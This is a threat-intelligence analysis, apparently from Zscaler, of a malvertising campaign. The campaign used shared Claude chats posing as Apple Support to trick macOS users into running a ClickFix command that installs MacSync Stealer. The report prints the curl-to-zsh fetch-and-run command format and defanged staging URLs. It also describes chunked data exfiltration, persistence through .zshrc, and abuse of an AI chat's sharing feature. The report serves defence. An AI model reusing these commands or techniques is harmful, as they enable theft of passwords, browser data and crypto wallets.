Technical Analysis

The Zscaler Threat Hunting team observed multiple stages in this ClickFix attack chain.

First stage

The victim searches for a term such as “claude download” in a search engine and sees a paid ad in the results that points to a shared Claude chat link. From the start, the use of the official Claude domain adds legitimacy to the search result. The victim clicks on the paid ad and is redirected to a shared Claude chat, as shown in the figure below. 

Figure 1: MacSync Stealer ClickFix instructions hosted in a shared Claude chat.

Aside from the hosting platform itself being legitimate, threat actors also crafted the content to appear authentic. The chat is labeled “Shared by Apple Support” in the top right corner. The threat actors likely achieved this by setting their Claude display name as “Apple Support,” causing this label to appear when the shareable link is generated. 

The installation command the victim is instructed to run is a curl command with the destination URL obfuscated using Base64 encoding. The command typically follows the format: 

curl -kfsSL $(echo '[base64_string]'|base64 -D)|zsh 

The Base64-encoded string usually decodes to a URL in the format http://[domain]/curl/[a-f0-9]{64}$, which serves as the first stage of the MacSync Stealer infection. A curl request to this URL returns a Z shell (zsh) script, which is then piped directly to zsh, as specified at the end of the installation command.

An example of the MacSync Stealer staging URL is the following: 

http://lasvegaslaminateflooring[.]com/curl/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb

The zsh script returned from this URL contains a blob that is first Base64-decoded then decompressed using gzip to reveal a second-stage script. This second-stage script is executed in the terminal using the eval command shown at the end of the figure below.

Figure 2: Example Zsh script returned by the example first-stage URL distributing MacSync Stealer.

Second stage

Functionally, this second-stage zsh script first redirects all output to /dev/null, essentially hiding all visible indications of execution. Next, the script downloads the third stage of MacSync Stealer, which contains the core stealing functionality, from a URL in the format $domain/dynamic?txd=$token, using the HTTP header api-key: $api_key (the values of $domain, $token, and $api_key are hardcoded in the script). The downloaded content is then piped directly to osascript, leaving no file trace on the affected system.

Finally, the second-stage zsh script checks for the presence of a file named /tmp/osalogging.zip, which is expected to contain the sensitive information collected from the affected system. If the file exists and is non-zero in size, the script exfiltrates the collected data in 10MB chunks via HTTP PUT requests to a URL in the format:

$domain/gate?buildtxd=$token&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks 

In this scheme, $domain and $token are hardcoded in the script, $upload_id is generated per system based on the date and a randomly generated number, $total_chunks is calculated by dividing the file size by 10MB, and $i is set by the loop counter as each chunk is sent. The script retries each chunk upload up to eight times if the upload fails.

After exfiltration is completed, the script deletes /tmp/osalogging.zip from the system, thereby leaving no trace of MacSync Stealer on the system.

Third stage

The third stage of the malware containing the core stealing functionality has the following capabilities: 

• Tries to access ~/Library/Cookies/, likely to gauge the access level at which the script is running. If access fails, 

  • The malware modifies ~/.zshrc to append a curl command that downloads the MacSync second-stage script and pipes the output to zsh. The command has the same format as the command pasted and run by the user in the first stage. This functionality implements persistence ensuring the second-stage script is downloaded and executed each time the terminal is opened. 
  • It also prompts the victim to grant full disk access by showing a prompt saying "Please allow access and reopen the terminal" with title "Full Disk Access required!" and then opening the Security & Privacy pane where this setting can be enabled.

  If access is successful, the script removes the curl command implementing persistence from ~/.zshrc and continues with the steps below.

• Creates the directory /tmp/macsync_0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb.lock which serves as a lock file indicating the information stealer is running.
• Tricks the victim into entering their macOS password by showing a fake prompt.
• Gathers stolen information into the directory /tmp/sync[randomNumber] with the capabilities described in the table below: 

Table 1: MacSync Stealer data theft capabilities.

• All data collected under /tmp/sync[randomNumber] is compressed into /tmp/osalogging.zip, which is then exfiltrated as described in the previous stage. After creating the archive, MacSync Stealer deletes the /tmp/sync* directory and removes the lock directory.

• Finally, MacSync Stealer attempts to download three additional payloads if the applications Ledger Wallet, Ledger Live, and Trezor Suite respectively are present on the affected system from the following URLs:

  • lasvegaslaminateflooring[.]com/ledger/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb
  • lasvegaslaminateflooring[.]com/ledger/live/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb
  • lasvegaslaminateflooring[.]com/trezor/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb

  These payloads could not be retrieved at the time of analysis, but they are likely trojanized versions of the aforementioned applications.

Malvertising campaign observations

Since Zscaler Threat Hunting analyzes Zscaler Internet Access (ZIA) logs across customers, we were able to obtain broader visibility into the scope of this campaign. This campaign appears to have been short-lived, running from June 12–19, 2026. Based on the UTM parameters observed in the traffic, we determined the following: 

• The source of the ad links was always Google.
• We observed 22 unique campaign IDs.
• We observed the following 7 unique utm_term values: 
  • claude
  • claude ai
  • claude code
  • claude mac
  • ai claude
  • claude code desktop mac
  • claude 客户 端 (client)

Zscaler Threat Hunting observed the malicious domains used in these ClickFix / MacSync Stealer campaigns adopted themes related to local services in U.S. cities. The list below shows a subset of domains following this pattern (a complete list is provided in the IOCs section at the end of this blog post):

• realtorsmichigan[.]com
• centralfloridapowerwash[.]com
• syracusefertilitycenter[.]com
• dogtrainersgeorgia[.]com
• lasvegaslaminateflooring[.]com
• moldinspectiondayton[.]com
• newjerseypetsitter[.]com
• miamipcsupport[.]com
• lifecoachrochester[.]com
• cabinrentalsnc[.]com
• floridavacationvillarental[.]com
• lasvegasweddingreception[.]com
• dallasirrigationservices[.]com
• toledotreeservices[.]com
• homeinspectionsdelaware[.]com
• chicagometalscrap[.]com

We also observed Russian-language comments in the third-stage AppleScript payload, suggesting the threat actor behind these attacks is likely Russian-speaking. The table below shows examples of these comments and their translation:

Table 2: Russian-language comments and their corresponding translations.